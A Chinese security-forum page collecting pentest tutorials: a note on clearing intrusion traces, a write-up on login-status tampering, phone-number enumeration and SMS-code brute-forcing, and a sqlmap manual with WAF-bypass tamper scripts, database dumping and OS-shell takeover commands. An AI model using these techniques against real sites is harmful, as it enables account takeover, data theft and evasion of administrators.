    至于怎么拿下内网中机器的权限,这要看内网环境了。我这里只是说下大概的一个思路。


    痕迹清除


    当我们达到了目的之后,有时候只是为了黑入网站挂黑页,炫耀一下;或者在网站留下一个后门,作为肉鸡,没事的时候上去溜达溜达;亦或者挂入挖矿木马;但是大家千万不要干这些事,这些都是违法的!
    我这里只是教大家在渗透进去之后如何清除我们留下的痕迹,以免被网站管理员发现,


    撰写渗透测试报告


    在完成了渗透测试之后,我们就需要对这次渗透测试撰写渗透测试报告了。明确的写出哪里存在漏洞,以及漏洞修补的方法。以便于网站管理员根据我们的渗透测试报告修补这些漏洞和风险,防止被黑客攻击!
    我们做的这一切的一切都是为了营造一个更安全更可信任的网络环境,大家切记不要利用本篇文章进行违法犯罪行为!
    未完待续。。。。。。

    基于Web页面验证码机制漏洞的检测

    Web安全渗透flaray 发表了文章 • 0 个评论 • 96 次浏览 • 2019-03-16 10:43 • 来自相关话题

    一、不可靠的前端校验
    在现实环境中,会有许多的网站他们没有严格进行身份校验,他们往往是通过依靠帐号密码发送后回传的状态码来判断用户身份是否正确,这就暴露出了很大的漏洞,这种漏洞利用起来就相当的容易,往往只需要一个安全界的神器BURP就可以完成身份验证的绕过,在登录的时候输入正确的账户以及随意的密码,将报文拦截下来,然后选择burp里面的拦截返回包的功能,捕捉返回的状态码。
    将返回包中的状态码修改为正常登录的状态码,当然这里的状态码不一定都是0和1这种,各种状态码都有可能存在,那么我们怎么样判断正确的状态码是什么呢?
    这里我们就需要自己手动注册一个用户,然后进行正常登录,并且抓取返回的状态码,当你发现发回的报文中,仅仅只存在状态码,并没有其他set-cookie或者tocken等信息的时候,那么这个登录界面就有极大的可能性存在这种漏洞。这是比较致命的一种漏洞,那么你可能就会有其他的问题了,即使他存在了这种漏洞,但是我们不太可能拥有其他大量的帐号,这个漏洞的危害不就没什么用了码?这就是我接下来要说的问题。
     
     二、遍历手机号
     
     
    现在大多数的网站都存在着手机号注册的这一个功能,一般来说同一个手机号只能注册一个帐号,所以手机号也是能作为帐号,这就是能利用的一个点,当手机号能成为帐号的时候,那么之前所存在的疑问就解决了一半,既然知道手机是可以用来登录的帐号,那么如何来获得这些手机号呢?这个问题其实是一个非常好的问题,对于手机号来说,一共有11位数,要想胡乱的猜测一个手机号是否在这个平台上注册过,一次性猜中的概率是微乎其微,但是有的网站的忘记密码这一功能就存在利用的方法(不过这种漏洞厂商大多数是忽略的),但是我认为他的危害性还是有的。在我们忘记密码的时候输入手机号码,发送手机验证码的时候,部分网站都会先查询这个手机号是否在这个网站上注册过,要是没有则会提示号码不存在,存在则发送短信。那么可以使用这一个逻辑来进行用户手机号遍历。顺带提一下手机号码可以使用手机号码字典生成器来生成,然后用来遍历。
     
     

     
     
    如图所示,用户不存在则是另外的信息。我们只需根据length长度来辨别,也可以自己写py脚本来遍历保存注册用户。这一个点可以获取到大量的用户手机号。
     
     三、可爆破的手机验证码
     
     
    前面介绍了前端校验绕过的方法以及用户手机号获取的方式,接下来来讲解一下手机验证码的问题。我放一张思维导图来供大家参考
     
     
    手机验证码存在的位置可能有三个点:登录、注册、密码找回这三个点。其中注册这个点的危害相对较小,除非找到一个可以批量注册帐号的点。
     
     
    那么危害较大的就剩下登录和密码找回了,实际这两个点的原理是一样的,只不过利用的环境有所不同。
     
     
    目前登录时候使用手机验证码登录的网站数量不是占很大的百分比,本文就以找回密码这块来说明。
     
     
    我们在测试之前首先要进行判断的时候他的手机短信验证码的长度、时效以及页面是否存在有比较难的图片验证码,也就是难以用python的库直接识别的图片验证码(识别率低于50%)。这是我们首先要注意的,其次提交一次表单,抓包来看看,是否存在有前端加密,或者sign等。我以手机验证码长度为4位和6位来分类。
     
     第一类:4位手机验证码
     
     
    当我们发现手机验证码长度为4位的时候,时效为5分钟左右,并且没有什么复杂前端加密或者sign和复杂的图片验证码的时候,那么恭喜你,你可能找到了一个可以爆破出验证码的点,这种漏洞虽然是爆破,但是他利用所花费的时间确实非常低的,通常可以在很短的时间内重置或者登录一个手机号。这对厂商来说就是一个高危漏洞,相信他会给你不错的报酬。
     
     
    上面的这种属于较为简单的漏洞,笔者在前段时间测试的时候发现了带有sign标记的4位验证码,这种的爆破的难度就有所提升了,他的sign是根据当前的时间戳以及手机号验证码等信息进行加密后生成的,要想去破解这个加密算法,是不太现实的。于是笔者就使用了一种骚思路,可能各位安全界的大佬们也用过,那就是python的selenium库来模拟浏览器自动化点击测试,但是这个就需要自己去根据网站的实际情况以及窗口位置来编写脚本。关于selenium的提供一个学习链接。
     
     第二类:6位手机验证码
     
     
    通常来说6位的验证码,30分钟的时效是一个挺安全的设计,因为在30分钟内想跑完100W条数据的难度还是挺大,并且网站通常会根据发包速率来进行限制,一旦你的发包速率突破设定,你将会被403,也就是你的IP会被封禁一段时间,有这些设置的验证码是安全的,但是如果说时效在1小时甚至更长,并且不限制IP的发包速率了话,那么利用也是可以利用的,只不过利用的成本过高,所以基本不考虑。因此在导图中写到基本不不去考虑。
     
     
     
     
     四、现实环境下的漏洞案例思路以及分析
     
     
    接下来给大家带来一个真实的漏洞案例,也是我本人所挖掘到的一个高危漏洞
     
     

    在登陆界面,由于图片验证码长期有效,所以猜测可以爆破。
     
     
    通过两次提交发现图片验证码在一定时间内是不会发生变化的,尽管已经经过了一次校验 。因为查看js发现验证码是由手机验证码经过sha256后从第六位开始取4位收到的验证码,测试时候输入的验证码为1602
     
     
    证明了这个加密算法,于是利用脚本生成了0000-9999的加密后的字典用来爆破。在爆破过程中发现,验证码的时效1分钟左右,并不足以完成爆破。于是就换了另外一种思路,既然通过爆破是没有办法完成验证码的限制,则想到了程序员在编写代码的时候他会不会犯一种错误,猜想他是否会将过期后的验证码重置为一串特定的字符。既然有了这种猜想,那么就肯定需要来进行一波验证,首先根据他的加密算法发现他的是sha256,也就是每一位验证码数据只会在0-f之间生成,于是生成了一个0000-ffff的字典,来进行了一波爆破,就如猜想的一样,爆破出一个意外的数值,当然并不是在第一次爆破过程中发现的,第一次可能是一个意外,于是我便借用了别人的手机进行了几次尝试后,发现这个数值是固定的,那么这个漏洞就证明成立的了。
     
     
    这样就挖掘出了一个任意登录帐号的漏洞,刚好这个网站又存在如之前所说的手机号遍历的问题,于是结合这两个点所产生的结果就是可以登录任意用户。
     
     
    当然关于挖掘到这方面的漏洞不止一个,但是碍于厂商修复尚未完成不宜公开其他漏洞 
     
     
    分析:对于这个漏洞点的发现其实是因为当时测试时候的突发奇想,本身这个漏洞前端sha256加密截取4位这个算法不认真找都不容易发现,单单是这一个点就能拦住许多想爆破的人,验证码本身是为0000-9999的纯数字,很难联想到是从sha256中截取的字符串,但是当你绕过这个问题的时候,验证码的时效性就又成为了你的下一个问题,笔者在挖掘出这个特殊字符串的时候也是有点吃惊的,毕竟这个想法是我在挖掘的时候的突发奇想,也就是脑子一热冒出来的想法。所以当你在挖掘的时候被一个点困住的时候,不要死磕,可以发散一下思维说不定就能想到设计者在设计的时候所可能犯下的错误,4299这个数字在爆破出来后我对原先加密算法的字典里进行了一波搜索,发现并不存在4299这个数值的,可能设计者当初在设计的时候认为4299并2不属于任何0000-9999加密后的数值,以为这么设计不会产生问题。其实漏洞挖掘本身就是一个三分实力七分运气的事,本着常心肯定会挖掘出的。所以提升自己的能力、改善自己的心态将会成为你挖掘漏洞的时候的一大利器。
    转自:https://www.freebuf.com/vuls/197632.html​ 查看全部
    一、不可靠的前端校验
    在现实环境中,会有许多的网站他们没有严格进行身份校验,他们往往是通过依靠帐号密码发送后回传的状态码来判断用户身份是否正确,这就暴露出了很大的漏洞,这种漏洞利用起来就相当的容易,往往只需要一个安全界的神器BURP就可以完成身份验证的绕过,在登录的时候输入正确的账户以及随意的密码,将报文拦截下来,然后选择burp里面的拦截返回包的功能,捕捉返回的状态码。
    将返回包中的状态码修改为正常登录的状态码,当然这里的状态码不一定都是0和1这种,各种状态码都有可能存在,那么我们怎么样判断正确的状态码是什么呢?
    这里我们就需要自己手动注册一个用户,然后进行正常登录,并且抓取返回的状态码,当你发现发回的报文中,仅仅只存在状态码,并没有其他set-cookie或者tocken等信息的时候,那么这个登录界面就有极大的可能性存在这种漏洞。这是比较致命的一种漏洞,那么你可能就会有其他的问题了,即使他存在了这种漏洞,但是我们不太可能拥有其他大量的帐号,这个漏洞的危害不就没什么用了码?这就是我接下来要说的问题。
     
     二、遍历手机号
     
     
    现在大多数的网站都存在着手机号注册的这一个功能,一般来说同一个手机号只能注册一个帐号,所以手机号也是能作为帐号,这就是能利用的一个点,当手机号能成为帐号的时候,那么之前所存在的疑问就解决了一半,既然知道手机是可以用来登录的帐号,那么如何来获得这些手机号呢?这个问题其实是一个非常好的问题,对于手机号来说,一共有11位数,要想胡乱的猜测一个手机号是否在这个平台上注册过,一次性猜中的概率是微乎其微,但是有的网站的忘记密码这一功能就存在利用的方法(不过这种漏洞厂商大多数是忽略的),但是我认为他的危害性还是有的。在我们忘记密码的时候输入手机号码,发送手机验证码的时候,部分网站都会先查询这个手机号是否在这个网站上注册过,要是没有则会提示号码不存在,存在则发送短信。那么可以使用这一个逻辑来进行用户手机号遍历。顺带提一下手机号码可以使用手机号码字典生成器来生成,然后用来遍历。
     
     

     
     
    如图所示,用户不存在则是另外的信息。我们只需根据length长度来辨别,也可以自己写py脚本来遍历保存注册用户。这一个点可以获取到大量的用户手机号。
     
     三、可爆破的手机验证码
     
     
    前面介绍了前端校验绕过的方法以及用户手机号获取的方式,接下来来讲解一下手机验证码的问题。我放一张思维导图来供大家参考
     
     
    手机验证码存在的位置可能有三个点:登录、注册、密码找回这三个点。其中注册这个点的危害相对较小,除非找到一个可以批量注册帐号的点。
     
     
    那么危害较大的就剩下登录和密码找回了,实际这两个点的原理是一样的,只不过利用的环境有所不同。
     
     
    目前登录时候使用手机验证码登录的网站数量不是占很大的百分比,本文就以找回密码这块来说明。
     
     
    我们在测试之前首先要进行判断的时候他的手机短信验证码的长度、时效以及页面是否存在有比较难的图片验证码,也就是难以用python的库直接识别的图片验证码(识别率低于50%)。这是我们首先要注意的,其次提交一次表单,抓包来看看,是否存在有前端加密,或者sign等。我以手机验证码长度为4位和6位来分类。
     
     第一类:4位手机验证码

     
     
    当我们发现手机验证码长度为4位的时候,时效为5分钟左右,并且没有什么复杂前端加密或者sign和复杂的图片验证码的时候,那么恭喜你,你可能找到了一个可以爆破出验证码的点,这种漏洞虽然是爆破,但是他利用所花费的时间确实非常低的,通常可以在很短的时间内重置或者登录一个手机号。这对厂商来说就是一个高危漏洞,相信他会给你不错的报酬。
     
     
    上面的这种属于较为简单的漏洞,笔者在前段时间测试的时候发现了带有sign标记的4位验证码,这种的爆破的难度就有所提升了,他的sign是根据当前的时间戳以及手机号验证码等信息进行加密后生成的,要想去破解这个加密算法,是不太现实的。于是笔者就使用了一种骚思路,可能各位安全界的大佬们也用过,那就是python的selenium库来模拟浏览器自动化点击测试,但是这个就需要自己去根据网站的实际情况以及窗口位置来编写脚本。关于selenium的提供一个学习链接
     
     第二类:6位手机验证码
     

     
    通常来说6位的验证码,30分钟的时效是一个挺安全的设计,因为在30分钟内想跑完100W条数据的难度还是挺大,并且网站通常会根据发包速率来进行限制,一旦你的发包速率突破设定,你将会被403,也就是你的IP会被封禁一段时间,有这些设置的验证码是安全的,但是如果说时效在1小时甚至更长,并且不限制IP的发包速率了话,那么利用也是可以利用的,只不过利用的成本过高,所以基本不考虑。因此在导图中写到基本不不去考虑。
     
     
     
     
     四、现实环境下的漏洞案例思路以及分析
     
     
    接下来给大家带来一个真实的漏洞案例,也是我本人所挖掘到的一个高危漏洞
     
     

    在登陆界面,由于图片验证码长期有效,所以猜测可以爆破。
     
     
    通过两次提交发现图片验证码在一定时间内是不会发生变化的,尽管已经经过了一次校验 。因为查看js发现验证码是由手机验证码经过sha256后从第六位开始取4位收到的验证码,测试时候输入的验证码为1602
     
     
    证明了这个加密算法,于是利用脚本生成了0000-9999的加密后的字典用来爆破。在爆破过程中发现,验证码的时效1分钟左右,并不足以完成爆破。于是就换了另外一种思路,既然通过爆破是没有办法完成验证码的限制,则想到了程序员在编写代码的时候他会不会犯一种错误,猜想他是否会将过期后的验证码重置为一串特定的字符。既然有了这种猜想,那么就肯定需要来进行一波验证,首先根据他的加密算法发现他的是sha256,也就是每一位验证码数据只会在0-f之间生成,于是生成了一个0000-ffff的字典,来进行了一波爆破,就如猜想的一样,爆破出一个意外的数值,当然并不是在第一次爆破过程中发现的,第一次可能是一个意外,于是我便借用了别人的手机进行了几次尝试后,发现这个数值是固定的,那么这个漏洞就证明成立的了。
     
     
    这样就挖掘出了一个任意登录帐号的漏洞,刚好这个网站又存在如之前所说的手机号遍历的问题,于是结合这两个点所产生的结果就是可以登录任意用户。
     
     
    当然关于挖掘到这方面的漏洞不止一个,但是碍于厂商修复尚未完成不宜公开其他漏洞 
     
     
    分析:对于这个漏洞点的发现其实是因为当时测试时候的突发奇想,本身这个漏洞前端sha256加密截取4位这个算法不认真找都不容易发现,单单是这一个点就能拦住许多想爆破的人,验证码本身是为0000-9999的纯数字,很难联想到是从sha256中截取的字符串,但是当你绕过这个问题的时候,验证码的时效性就又成为了你的下一个问题,笔者在挖掘出这个特殊字符串的时候也是有点吃惊的,毕竟这个想法是我在挖掘的时候的突发奇想,也就是脑子一热冒出来的想法。所以当你在挖掘的时候被一个点困住的时候,不要死磕,可以发散一下思维说不定就能想到设计者在设计的时候所可能犯下的错误,4299这个数字在爆破出来后我对原先加密算法的字典里进行了一波搜索,发现并不存在4299这个数值的,可能设计者当初在设计的时候认为4299并2不属于任何0000-9999加密后的数值,以为这么设计不会产生问题。其实漏洞挖掘本身就是一个三分实力七分运气的事,本着常心肯定会挖掘出的。所以提升自己的能力、改善自己的心态将会成为你挖掘漏洞的时候的一大利器。
    转自:https://www.freebuf.com/vuls/197632.html​

    SQLMAP深度解析及使用手册

    Web安全渗透llpkk 发表了文章 • 0 个评论 • 165 次浏览 • 2019-03-09 22:33 • 来自相关话题

    在学习了基础的SQL注入原理之后便开始了SQL注入之路,比如写SQLi和一些CTF中的sql注入题。但是总能够发现自己的一些问题。比如闭合符通常找不到,有一些关键字都被过滤自己却无法GET到绕过的骚姿势,还有就是无论输入什么他都不会有任何反应等等一系列的问题。而在了解了sqlmap的强大的自动化之外,每次只是 -u "url"

    如果第一次用sqlmap扫不出来的话顶多会将参数改为-u "url" --risk3 --level3 //如果这次也测不出来的话我就会说在心里说一句sqlmap哪里强大了,同时也会感叹自己的知识储备太垃圾了



     而今天在freebuf社区中看到了一篇关于SQLMAP的深度解析,仔细看了看之后确实涨了姿势。
    SQLMAP深度解析及使用手册
    0X00 背景
    写这篇技术文有两个诱因,一是大菲兄弟@大菲哥和朋友从国外买了一篇二十美刀的XSS文章,做了翻译,自古XSS和sql注入是倚天屠龙的对立统一关系,所以有朋友说想看一看sql注入的文章。

    二是大概一年前一朋友对sqlmap的使用除了-u参数几乎一无所知,让我给做了个使用手册,刚好拿出来在此基础上进行完善和优化。
    我本人是owasp北京分会的负责人,owasp的top10几乎一直是sql注入独揽第一,所以也想就这个机会把sql注入好好给大家聊一聊,本文也参考了众多前辈的经验,在这里向每个奉献、开源的前辈说一声感谢。

    有些朋友说想让聊聊手工注入,首先我个人手工注入技巧不是很好,再者手工注入需要一定的技术积累和编程底子,受众有限,后期有机会再深入谈。我个人在渗透上的看法是工具是人类进步的象征,工具的使用绝对是自动化、智能化和量化不可或缺的内容,当然,工具毕竟是死的,好的安全人肯定是左手自动化右手人工。
    0X01 SqlMap介绍及分析
    SQLMAP是一种开源渗透测试工具,可自动执行SQL注入缺陷的检测和开发过程,并接管数据库服务器。它有强大的检测引擎,针对不同类型的数据库提供多样的渗透测试功能选项,实现数据库识别、数据获取、访问DBMS\操作系统甚至通过带外数据连接的方式执行操作系统的命令。,以及从数据库指纹识别、从数据库获取数据、访问底层文件的广泛范围的交换机通过带外连接在操作系统上执行命令.sqlmap is anopen source penetration testing tool that automates the process of detectingand exploiting SQL injection flaws and taking over of database servers. Itcomes with a powerful detection engine, many niche features for the ultimatepenetration tester and a broad range of switches lasting from database fingerprinting,over data fetching from the database, to accessing the underlying file systemand executing commands on the operating system via out-of-band connections.(源于官方介绍)








    SQLMAP支持的数据包括:MySQL, Oracle,PostgreSQL,Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库。
    SQLMAP目前支持的注入方式包括(默认全进行):l B: Boolean-based blind SQL injection(布尔型注入)

    l E: Error-based SQL injection(报错型注入)

    l U: UNION query SQL injection(可联合查询注入)

    l S: Stacked queries SQL injection(可多语句查询注入)

    l T: Time-based blind SQL injection(基于时间延迟注入)

    l Q: Inline SQL Injection (内联注入)
    SQLMAP 分析:
    SQLMAP的功能模块参数由几大类构成(见下表),分别是:  





     
    0X02 Sqlmap使用经验总结
    以下参数在进行SQL注入时配置恰当会使得注入攻击事半功倍。以下是笔者对SQLmap 使用的经验总结:[size=20]1 [/size]在使用-v参数的时候,尽量选择,3级别,次级别可以显示注入的参数。 例如:sqlmap -v3 -u www.potian.com
    [size=20]2 [/size]当一件知道数据库信息的时候,使用-d直接连接数据库,注意-D是指定目标库,要区分。
    例如:-d mysql://POTIAN : 123123 @127.0.0.1:3306/ ORDER [size=20]3 [/size] 当使用Burp或WebScarab保存了日志的时候,想从日志文件中筛选目标,可使用-I使用 绝对路径地址即可。
    4 -g可以使用google的搜索结果,例如,直接搜索uid=,查找具有此参数的站点,直接使用sqlmap调用google结果,例:sqlmap -g inurl:php?uid=。(收集了一些语句,在附表)当需要使用-g inurl:php?uid=等参数时,默认无法访问,可使用此参数+海外代理方式使用此功能。当代理需要验证的时候,使用-cre指定身份信息,需要使用代理轮巡时,使用文件加载代理设置列表,使用代理轮询也可在对访问ip次数进行了验证的场景使用。(鉴于我国国情,不建议使用)
    5 服务端允许的情况下,–method改变默认的http方法,和其他参数配合使用,例如–data,改变为post然后推送数据。
    6 默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/*.*-dev-xxxxxxx(http://sqlmap.org) 可以使用–user-agent参数来指定想使用的UA,同时也可以使用–random-agent参数来随机的从./txt/user-agents.txt中获取。当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入.另外UA是绕过waf的参数,–user-agent= –random-agent这两个参数可对waf针对恶意ua的防控进行绕过。
    7 指定http请求中的header里的host参数、在请求中伪造referer,有些waf和安全产品等会对refer进行限制,仅允许本站referer,当waf参数对referer进行了限制后,可使用此参数进行绕过。当–level参数设定为3或者3以上的时候会尝试对referer注入指定其他的header信息,XFF等,例如strust2-045使用了Content-Type
    8 HTTP代理身份验证凭据,可自动使用username:password和秘钥文件,例如有些访问会使用key文件,集团sso最爱出现此种场景,在这种身份验证凭据的需求中,也可使用-I参数使用burp等代理记录文件来使用身份凭据
    9 设置http请求间隔时间,在绕过需求时使用,例如单ip单位时间访问多少次,可配合代理和多代理参数使用。超时连接后的尝试间隔,默认30s,可手动调整,一般–timeout和–retries配合使用
    10 有的网站会对提交的参数进行编码或加密,这时候需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用–eval参数在每次请求时根据所写python代码做完修改后请求。
    例子:–eval=”"import hashlib;hash=hashlib.md5(id).hexdigest()”"上面的请求就是每次请求时根据id参数值,做一次md5后作为hash参数的值。”
    11 sqlmap默认测试所有的GET和POST参数,上文提到过,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,大于等于3的时候也会测试User-Agent和HTTP Referer头的值。这时候可以手动指定-p参数设置想要测试的参数。 例如:-p “”id,cookie”"但是有个别参数不想测试的时候可以使用–skip=“user-agent”参数。
    12 数值处理:参数:–invalid-bignum –invalid-logical这两个参数对报错数据、无效数据进行更改,例如默认报错UID=-20,可以通过制定以上参数制定无效的大数字和逻辑,比如uid=999999999和uid=20 and a=b
    参数:–prefix,–suffix在注入的payload的前面或者后面加一些字符,来保证payload的正常执行,例如在语句中增加–prefix “”’)”" –suffix “”AND (’1’=’1″”
    13 –tamper可从tamper库里查找相关内容,使用–tamper tamper/*.py方式指定
    14 上文多次解释–level对测试参数的影响,一共有五个等级,默认为1,sqlmap使用的payload可以在payloads.xml中看到,你也可以根据相应的格式添加自己的payload内容,默认也有一些,可定制。
    –level的值大于等于2的时候也会测试HTTP Cookie头的值,大于等于3的时候也会测试User-Agent和HTTP Referer头的值,建议最高级别,会更慢、测试参数更复杂。
    15 risk从0-3共有四个风险等级,默认是1,risk1会测试大部分的测试语句,risk2会增加基于事件的测试语句,3会增加OR语句的注入测试。测试的语句同样可以在payloads.xml中找到,可以自行添加payload。
    警告:当使用高级别时,可能会使用drop、update等高危语句对整表、整库造成影响,可能导致更新的整个表,可能造成很大的风险。
    16 “sqlmap测试结果取决于返回内容,当页面在刷新或更新后,可能导致返回不同的内容,特别是页面有动态内容的情况下。为了避免误报,可指定字符串或者正则表达式来区分原始页面和报错页面(–string参数添加字符串,–regexp添加正则),也可以提供一段字符串在原始页面与true下的页面都不存在的字符串,而false页面中存在的字符串(–not-string添加)。
    用户也可以提供true与false返回的HTTP状态码不一样来注入,例如,响应200的时候为真,响应401的时候为假,–code=200。
    17 默认sqlmap会把BEUSTQ六中注入方式全来一遍,可根据实际情况进行调整,例如可使用时间延迟,看网站响应时间来判断是否有注入,可根据报错判断注入。如果不是很懂,就不用管,虽然时间长点,但很全面。
    B:Boolean-based blind SQL injection(布尔型注入)
    E:Error-based SQL injection(报错型注入)
    U:UNION query SQL injection(可联合查询注入)
    S:Stacked queries SQL injection(可多语句查询注入)
    T: Time-based blind SQL injection(基于时间延迟注入)
    Q: Inline SQL Injection (内联注入)
    当使用基于时间延迟注入的盲注时,时刻使用–time-sec参数设定延时时间,默认是5秒,可以根据环境记性调整,比如网络延迟很大,可适当增加延时时间
    18 –union-cols设定的值为一段整数范围,制定区间,此数值默认为1-10,随着–levle增加,当为5的时候增加为50,当level级别和取值范围不匹配,在低级别需求更大的范围,可通过设定–union-cols的值来实现。设定union查询使用的字符,默认使用NULL,但是可能会返回失败,–union-char指定UNION查询的字符。指定查询的表,配合上文暴力破解的字符、范围等来详细使用。
    19 在一旦注入成功且获得精确信息通过以下详细参数来指定检索、枚举动作和动作执行对象:检索DBMS的指纹特征、数据库、host值、用户身份、并对用户、密码、权限、角色进行枚举也就是爆破。然后尝试枚举数据库、数据库里的表、数据库里的内容、可以使用count来统计条目等操作。dump和dump-all就是脱裤和全脱的区别,dump某表的十条八条可能没事儿,dump-all注定要浪迹天涯,也就是所谓的从脱裤到跑路的开始,通过-D\-T\-C来制定索要枚举的库、表、和列,使用-X来排除不想要的列,特别是有多列且有无意义字段的时候,使用-X可大大节省时间。 –exclude-sysdbs参数,将不会获取数据库自带的系统库内容,可减少干扰内容,对-count的使用和枚举信息的使用建议搭配此参数来排除系统库。
    当我们不想跑路的时候,那么请使用下面内容:
    –start=LIMITSTART First query output entry to retrieve指定从第几行开始输出,如:
    –start=1
    –stop=LIMITSTOP
    Last query output entry to retrieve
    指定从第几行停止输出
    –stop=10
    –first=FIRSTCHAR
    First query output word character to retrieve
    指定从第几个字符开始输出
    –first 1
    –last=LASTCHAR
    Last query output word character to retrieve
    指定从第几个字符停止输出–last10
    20 暴力检查:猜测检查常见的、通用的表名和列名,可通过下面两个文件进行定制化,暴力破解的表在txt/common-tables.txt文件中,暴力破解的列名在txt/common-columns.txt中
    21 对文件系统、操作系统的交互和使用必须需要相应的权限,前面提到要求具有特定的函数执行特权,一般要求root。针对文件系统的读写:对–file-read配置绝对系统路径,可读取相应文件内容,可以是文本,也可以是二进制,条件是必须拥有相对应特权,已知的是mysql、postgresql和sqlserver。写入也是同样,往远端后台的DBMS里写入一个本地文件,可通过–file-dest指定绝对文件路径。” 当然和上面可以配合使用,当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。然后通过上面的文件系统管理上传一个库,使用可执行系统命令的sys_exec()和sys_eval(),甚至xp_cmdshell存储过程 –os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。 Meterpreter配合使用 –os-pwn,–os-smbrelay,–os-bof,–priv-esc,–msf-path,–tmp-path配合Meterpreter使用,当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Metasploit生成shellcode,四种方式执行它:
    1.通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:–os-pwn。
    2.通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:–os-pwn。
    3.通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),–os-smbrelay。
    4.通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:–os-bof。
    22 所见即所得,注册表连接指的是windows系统,相信大家都有windows系统知识,不懂注册表基本就不懂windows系统,所有的windows系统配置在注册表里都可实现,比如开启远程连接、比如新建用户、比如组策略配置、比如防火墙等等,reg可对注册表内容进行读取、编辑、和删除,上面和下面相配合可实现对指定的key、value、data和类型进行操作。
    23 –batch
    在使用sqlmap时,有时一些响应需要用户交互,输入Y、N、skip、quit等,使用此选项可使用默认配置。
    –output-dir=
    指定输出路径,方式控制台输出过多,无法查看,也方便记录
    –gpage=GOOGLEPAGE
    好像默认是使用google搜索的前100个文件,当使用前面的-g参数,配合此参数指定页面
    –identify-waf
    进行WAF/IPS/IDS保护测试,目前大约支持30种产品的识别
    –mobile
    使用移动产品UA,把sqlmap伪装成手机,也可使用前面的
    -user-agent
    自己指定
    –smart
    智能深度启发式扫描,或许会有惊喜呢。
    –wizard 和上面的完全不同,纯新手选择,一步步让你输入url等参数,基本输入个url就行。
     
     
    0X03 Sqlmap实操语句
    手工基本检测和判断(在注入点使用or、and等可判断是否有注入点)       
    原始网页:http://www.potian.com/mysql/product/user_info.phpuid=1024 构造url1:http://www.potian.com/mysql/product/user_info.phpuid=1024+AND+1=1构造url2:http://www.potian.com/mysql/product/user_info.phpuid=1 024+AND+1=1025     
    基础检测语法   sqlmap.py -u http://www.potian.com/mysql/product/user_info.php?uid=1 024
         
    批量检测  “sqlmap.py -m target.txt” //注意target.txt跟sqlmap在同一个目录下。     
    绕过WAF进行SQL注入     
    修改\sqlmap\tamper\halfversionedmorekeywords.py return match.group().replace(word, ”/*!0%s” % word) 为:return match.group().replace(word, ”/*!50000%s*/” % word) 修改\sqlmap\xml\queries.xml <cast query= ”CAST(%s ASCHAR)”/>为:<castquery=”convert(%s,CHAR)”/> 使用sqlmap进行注入测试sqlmap.py -u ”http://www.potian.com/detail.php id=16″ –tamper “halfversionedmorekeywords.py” 其它绕过waf脚本方法:sqlmap.py-u “ http://www.potian.com/mysql/product/user_info.phpuid=1 024” –tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 
    tamper目录下文件具体含义:space2comment.py
    用/**/代替空格
    apostrophemask.py
    用utf8代替引号
    equaltolike.pylike
    代替等号
    space2dash.py
    绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)
    greatest.py
    绕过过滤’>’ ,用GREATEST替换大于号。
    space2hash.py
    空格替换为#号,随机字符串以及换行符
    apostrophenullencode.py
    绕过过滤双引号,替换字符和双引号。
    halfversionedmorekeywords.py
    当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
    space2morehash.py
    空格替换为#号
    以及更多随机字符串
    换行符
    appendnullbyte.py
    在有效负荷结束位置加载零字节字符编码
    ifnull2ifisnull.py
    绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’ space2mssqlblank.py(mssql) 空格替换为其它空符号
    base64encode.py
    用base64编码替换
    space2mssqlhash.py
    替换空格
    modsecurityversioned.py
    过滤空格,包含完整的查询版本注释
    space2mysqlblank.py
    空格替换其它空白符号(mysql)
    between.py
    用between替换大于号(>)
    space2mysqldash.py
    替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
    multiplespaces.py
    围绕SQL关键字添加多个空格
    space2plus.py
    用+替换空格
    bluecoat.py
    代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like
    nonrecursivereplacement.py
    双重查询语句,取代SQL关键字
    space2randomblank.py
    代替空格字符(“”)从一个随机的空白字符可选字符的有效集
    sp_password.py
    追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
    chardoubleencode.py
    双url编码(不处理以编码的)
    unionalltounion.py
    替换UNION ALLSELECT UNION SELECT
    charencode.py
    url编码
    randomcase.py
    随机大小写
    unmagicquotes.py
    宽字符绕过
    GPCaddslashes randomcomments.py
    用/**/分割sql关键字
    charunicodeencode.py
    字符串unicode编码
    securesphere.py
    追加特制的字符串
    versionedmorekeywords.py
    注释绕过 space2comment.py
    替换空格字符串(‘‘) 使用注释‘/**/’
    halfversionedmorekeywords.py
      
    URL重写SQL注入测试   
